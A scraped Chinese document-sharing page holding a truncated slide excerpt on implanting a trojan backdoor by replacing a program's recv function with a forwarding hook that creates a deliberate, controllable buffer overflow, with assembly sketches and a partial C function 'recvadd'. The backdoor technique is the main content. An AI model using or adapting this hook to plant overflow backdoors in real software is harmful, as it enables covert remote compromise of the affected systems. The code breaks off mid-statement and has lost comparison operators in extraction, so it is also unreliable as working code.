溢出植入型木馬后門的原型實現(xiàn)(編輯修改稿)
2025-08-16 00:26 本頁面
【文章內(nèi)容簡介】 需要的條件 ?對傳入?yún)?shù)引用使用 EBP+XXX，對變量引用使用ESP+XXX的方式 ? 替換轉發(fā)函數(shù) 0X4444 Recv函數(shù)地址 PUSH FLAG PUSH XXX PUSH BUF PUSH S CALL [0X4444] 0X4c88 Recv函數(shù)地址 PUSH FLAG PUSH XXX PUSH BUF PUSH S CALL [0x4444] RecvAdd代碼： PUSH FLAG PUSH YYY PUSH BUF1 PUSH S CALL [0x4c88] COPY(BUF,BUF1,XXX) RET 0X4444 RecvAdd函數(shù)地址 替代轉發(fā)函數(shù)的作用 ?可以制造一個完全通用的溢出漏洞 ?溢出點可控 ?不會引發(fā)訪問違例 ?在溢出控制前 BUF內(nèi)容不會被修改 ?可以解決一些更多的技術問題 植入的通用化溢出漏洞的實現(xiàn) ? JMP ESP提供和定位 ? RECV函數(shù)的替換轉發(fā)函數(shù)實現(xiàn) ? 更深層次的利用 DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags){ int num。 char buf1[0x1190]。 if(len0x1000) num = recv(s,buf,len,flags)。 else{ num = recv(s,buf1,0x11a9,flags)。 //擴大到標準指定的溢出點上 if(num0) { //判斷是否收到包 if(num=len) //判斷是否溢出 ， 沒有則拷貝內(nèi)存 memcpy(buf,buf1,num)。 else
環(huán)評公示相關推薦
鄂ICP備17016276號-1